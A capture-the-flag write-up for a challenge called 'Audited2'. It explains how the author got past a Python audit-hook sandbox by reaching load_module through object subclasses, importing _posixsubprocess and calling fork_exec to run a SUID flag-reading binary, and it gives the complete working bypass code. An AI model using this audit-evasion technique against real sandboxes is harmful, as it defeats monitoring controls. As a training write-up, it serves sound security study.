# Audited2## Challenge
The challenge begins by installing a Python audit hook written in C:```cstatic int auditor_hook(const char *event, PyObject *Py_UNUSED(args), void *Py_UNUSED(user_data)){    if (!atomic_load(&auditor_may_exec) || atomic_flag_test_and_set(&auditor_did_exec) || strcmp(event, "exec"))       auditor_exit(EXIT_FAILURE);    return 0;}```Essentially, this allows the 'exec' event to be run once. If it's run again, or any other audit events are raised, it will exit immediately using the `exit()` syscall, without running any exit handlers.
The challenge also clears `sys.modules`, although we still have access to `builtins` due to the misuse of `exec`.
## Solution
The flag.txt file is not readable, so the goal is to run the SUID '/readflag' binary.
Immediately, it should be obvious that there are two major areas to investigate to solving.1) Escape from 'Python-land' - Perform some kind of exploit to give us native code execution. I quickly tried `unsafe-python`, but this turned out to use several unavailable imports, and actually raises some audit events.The intended solution here was apparently to use a [Python bug](https://bugs.python.org/issue39091) and pwn the process - I guessed that this might be the case as the challenge was under "pwn", but, being familiar with Pyjail challenges, tried to find an in-Python method to do it.2) Find a non-audited way of executing a binary
After some research, I managed to land on `_posixsubprocess.fork_exec` ([here](https://github.com/python/cpython/blob/f4c03484da59049eb62a9bf7777b963e2267d187/Modules/_posixsubprocess.c#L658)). This is a function used in the implementation of the `multiprocessing` and `subprocess` modules.
I found that executing `_posixsubprocess.fork_exec([b"/readflag"], [b"/readflag"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)` would run the binary and get the flag. But how to get the modules - they've been cleared from the process?
## Getting Imports
I quickly found that `().__class__.__base__.__subclasses__()[84].load_module` is a function allowing imports of a small subset of the Python builtin modules. This includes `sys`, `posix`, `time`, `_imp` and so on. I also found that by modifying `sys.builtin_module_names`, I could import more modules, such as `os` and `types` - but not all!
At this point I got stuck, spending a lot of time trying to traverse from my modules to one importing `_posixsubprocess`. However, shortly after the competition I discovered: `load_module` is able to load `_posixsubprocess` in the Python version in the Docker, but not in my host's! With this, solving is easy:
```python# Make fake import functionimport_ = ().__class__.__base__.__subclasses__()[84].load_module# Load _ps_posixsubprocess = import_("_posixsubprocess")# subclasses[133] is an os module function, so we can reach os.pipe via its globalspipe = ().__class__.__base__.__subclasses__()[133].__init__.__globals__['pipe']# Get the flag_posixsubprocess.fork_exec([b"/readflag"], [b"/readflag"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(pipe()), False, False, None, None, None, -1, None)```
tl;dr Python is impossible to sandbox, and always use the provided Docker environment!